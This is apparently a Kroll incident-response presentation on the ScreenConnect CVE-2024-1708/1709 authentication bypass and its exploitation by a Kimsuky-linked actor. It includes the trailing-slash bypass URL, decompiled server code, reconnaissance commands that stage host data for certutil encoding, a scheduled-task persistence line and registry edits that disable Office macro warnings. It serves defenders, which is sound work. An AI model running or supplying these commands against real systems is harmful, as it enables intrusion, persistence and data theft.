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ConnectWise ScreenConnect

CVE-2024-1708 & 
CVE-2024-1709

CVSS Scores: 8.4, 10

Product Impacted: 
ScreenConnect

Affected:  version 
<23.9.8

Vulnerability Information

Used by thousands of orgs for remote support, administrative 
work, sometimes in a B2B environment.

Approx 9700 instances available on the internet

CVE-2024-1709 (CVSS:10) can allow for authentication 
bypass due to insufficient path filtering. This is possible 
because any string can be appended after the extension to 
allow for bypassing.

CVE-2024-1708 (CVSS:8.4) is a path traversal vulnerability 
that can allow an attacker to execute code remotely on the 
ScreenConnect server.

Together, CVE-2024-1709 and CVE-2024-1708 can allow a 
threat actor to perform remote code execution post 
authentication.
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A Slash Can Kill
Authentication bypass combined with a path traversal, allowing attacker to upload and execute arbitrary code, by 
installing a malicious extension. Bypass is as simple as adding a ‘/’ to the end of the SetupWizard.aspx

https://www.myscserver.com:8040/SetupWizard.aspxhttps://www.myscserver.com:8040/SetupWizard.aspx/rc18
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A Slash Can Kill

/ScreenConnect.Service.exe
private void OnBeginRequest(object sender, EventArgs e)

{

HttpContext context = ((HttpApplication)sender).Context;

string text = context.Response.ApplyAppPathModifier(ConfigurationCache.SetupPage); // SetupWizard.aspx

bool flag = string.Equals(context.Request.Path, text, StringComparison.OrdinalIgnoreCase);

if (!ConfigurationCache.IsSetup)

{

if (!ConfigurationCache.AllowRemoteSetup && !context.Request.IsLocal) // ScreenConnect has not yet been setup

{

throw new HttpException(403, "Application is in setup mode and is only accessible from local machine.");

}

if (!flag && Regex.IsMatch(context.Request.Path, ConfigurationCache.SetupRedirectFilter)){

context.Response.Redirect(text);

return;

}

}

else if (flag) // Go here if the URL matches

{

if (ConfigurationCache.AlreadySetupPage != null)

{

string text2 = context.Response.ApplyAppPathModifier(ConfigurationCache.AlreadySetupPage);

context.Response.Redirect(text2);

return;

}

throw new HttpException(403, "Application is already setup.");

}

}



Exploitation Timeline
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Timeline: ScreenConnect CVE Exploited in Less 
than 48 Hours by Range of Threat Actor Types

ConnectWise 
notifies 
customers of 
vulnerability 
and patch

Initial access 
date identified  

February 19 February 21 February 24

First 
ransomware 
deployment 
observed 

Most recent 
observed 
exploitation 

March 
onwards

Lone wolf actors 
leverage vuln  

APT, RaaS groups begin to 
leverage vuln  

<48h to patch

February 13

Kroll analyst 
reports 
vulnerability to 
ConnectWise

POCs released

February 20
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First Contact

Two LOLBin detections:
• mshta with URL in commandline
• certutil –encode command 
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Process Tree

cmd.exe
Events:2

mshta.exe 
Events: 45

conhost.exe
Single Node

cmd.exe

cmd.exe 

cmd.exe

ScreenConnect.ClientService.exe
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We’re Gonna Need a Bigger Payload … 



cmd.exe /c hostname>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c systeminfo>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c net user>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c query user>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c REG QUERY 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v 

ConsentPromptBehaviorAdmin>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c route print>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c ipconfig /all>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c arp -a>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c powershell get-ciminstance -namespace root/securitycenter2 -classname 

antivirusproduct>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c netstat -ano>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c tasklist>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c dir “C:\Program Files”>>C:\ProgramData\[RANDOM_STRING].acl

cmd.exe /c certutil -encode C:\ProgramData\[RANDOM_STRING].acl

C:\ProgramData\[RANDOM_STRING_2].acl
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C:\Windows\System32\cmd.exe /c schtasks /Create /SC minute /MO 1 /TN Uso1Cache /TR 

"wscript //e:vbscript //b C:\ProgramData\Uso1\.Uso1Config.conf:htaccess" /f



Overlaps with BABYSHARK & 
RECONSHARK



cmd.exe /c reg add HKCU\Software\Microsoft\Office\14.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f

cmd.exe /c reg add HKCU\Software\Microsoft\Office\15.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f 

cmd.exe /c reg add HKCU\Software\Microsoft\Office\15.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f 

cmd.exe /c reg add HKCU\Software\Microsoft\Office\16.0\WORD\Security /v VBAWarnings /t REG_DWORD /d 1 /f 

cmd.exe /c reg add HKCU\Software\Microsoft\Office\16.0\Excel\Security /v VBAWarnings /t REG_DWORD /d 1 /f 

cmd.exe /c schtasks /Create /SC minute /MO 1 /TN Uso1Cache /TR "wscript //e:vbscript //b 

C:\ProgramData\Uso1\.Uso1Config.conf:htaccess" /f
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Variant Comparison to Original BABYSHARK

Source: Unit42
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Situational Awareness
• Checking VirusTotal, clearly others are seeing this too. 
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KIMSUKY, a cyber espionage group originating from North 

Korea, employs techniques to gather intelligence in support of 

the Democratic People’s Republic of Korea's (DPRK) strategic 

objectives. Known for their use of social engineering and 

spearphishing tactics, KIMSUKY targets government entities, 

research centers, think tanks, and media organizations 

globally.

KTA082 - Kimsuky Threat Group

Overlapping TTPs:

• Tendency to use 000webhostapp service.

• Use of certutil LOLBin in BABYSHARK campaigns
– PEM exfiltration

• Stealer-like behaviours 

• Use of scheduled tasks for persistence



Conclusion
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• Edge technology was the most observed initial access vector for ransomware 

cases Kroll responded to in Q1.

• Threat actors are very quick to leverage n-day vulnerabilities

• Sub 24 hour (even 48 hour!) patching is unrealistic for most organizations
–Tabletop these scenarios 
–Develop and test playbooks to respond to such events

• Defense in depth and endpoint monitoring 
–Enabled fast identification of threat
– Immediate isolation and remediation

Takeaways
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Behavioral Based Detection



Questions?



For more information, please contact:

www.kroll.com

About Kroll
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